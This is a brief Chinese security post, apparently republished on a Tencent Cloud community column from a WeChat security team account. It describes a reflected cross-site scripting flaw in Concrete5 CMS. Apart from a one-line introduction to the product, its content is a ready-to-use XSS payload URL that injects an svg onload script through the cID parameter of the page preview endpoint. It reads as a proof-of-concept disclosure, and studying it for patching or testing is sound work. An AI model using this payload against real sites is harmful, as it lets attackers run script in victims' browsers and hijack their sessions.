开发者社区

文档建议反馈控制台

文章/答案/技术大牛

发布

社区首页 >专栏 >Concrete5 CMS XSS

Concrete5 CMS XSS

作者头像

Khan安全团队

发布于 2021-05-08 15:42:27

发布于 2021-05-08 15:42:27

5650

举报

文章被收录于专栏：Khan安全团队Khan安全团队

Concrete5是一个免费的CMS系统，可以创建网站，并以其易用性而闻名。使用Concrete5的主要组织包括GlobalSign、美国陆军、REC和BASF等。

Payload：

http://xxx/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert(1)>

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2021-05-06，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

评论

登录后参与评论

0 条评论

热度

最新